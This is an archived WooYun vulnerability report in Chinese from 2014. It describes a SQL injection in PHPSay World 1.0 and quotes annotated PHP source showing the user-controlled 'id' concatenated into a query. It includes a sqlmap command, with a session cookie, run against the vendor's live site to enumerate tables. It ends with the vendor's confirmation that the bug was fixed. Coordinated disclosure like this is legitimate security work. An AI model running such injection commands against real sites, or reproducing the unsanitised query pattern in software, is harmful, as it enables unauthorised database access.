乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
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2014-05-17: 细节已通知厂商并且等待厂商处理中 2014-05-17: 厂商已经确认,细节仅向厂商公开 2014-07-11: 细节向核心白帽子及相关领域专家公开 2014-07-21: 细节向普通白帽子公开 2014-07-31: 细节向实习白帽子公开 2014-08-15: 厂商已经修复漏洞并主动公开,细节向公众公开
PHPSay World 微社区系统 1.0 正式版SQL注射 为4月8日版本,在官网测试成功,源码详细解析
/user.php
<?phprequire(dirname(__FILE__)."/global.php");if ( $loginInfo['uid'] < 1 ){ header("location:./");}else{ $postType = ( isset($_GET['list']) && ( $_GET['list'] == "reply" || $_GET['list'] == "favorite" ) ) ? $_GET['list'] : "topic";//下面userId由用户控制 $userId = ( isset($_GET['id']) && trim($_GET['id']) != "" ) ? $_GET['id'] : $loginInfo['uid']; if( $postType == "favorite" && $userId != $loginInfo['uid'] ) { header("location:./user.php?list=favorite"); } else { $DB = database();//下面使用userId调用getMemberInfo,看上去is_numeric很安全,但是仔细一看根本不是那么回事,传进去的还是用户控制的$userid $userInfo = PHPSay::getMemberInfo($DB,is_numeric($userId)?"uid":"nickname",$userId);//省略以下无关代码
/controller/class_PHPSay.php
<?php <?phpclass PHPSay{//之前我们控制了userId,因此$value能够被用户控制 public static function getMemberInfo($DB,$key,$value) { $memberArray = array( "uid"=>0, "nickname"=>"", "email"=>"", "password"=>"", "regtime"=>"", "qqid"=>"", "groupid"=>0 );//这下很明显了,直接带进去查询了 $DBArray = $DB->fetch_one_array("SELECT * FROM `phpsay_member` WHERE `".$key."`='".$value."'"); ?>
官网测试,需要登录后查看正常
报错
抓自己COOKIE用来SQLMAP
C:\Users\Administrator>sqlmap.py -u "www.phpsay.com/user.php?id=2411" --cookie="__utma=218911192.121983058.1397969694.1397969694.1397969694.1; __utmb=218911192.4.10.1397969694; __utmc=218911192; __utmz=218911192.1397969694.1.1.utmcsr=down.chinaz.com|utmccn=(referral)|utmcmd=referral|utmcct=/soft/35832.htm; phpsay_uname=lxj616; phpsay_secure=Hfz003SZDYgWJyMYHptxjzHbBoYuxBYZRkG1s55rwcI%3D" -p id --tables
加强对参数的过滤,避免注入攻击
危害等级:低
漏洞Rank:5
确认时间:2014-05-17 22:27
已修复,感谢!
2014-05-19:已修复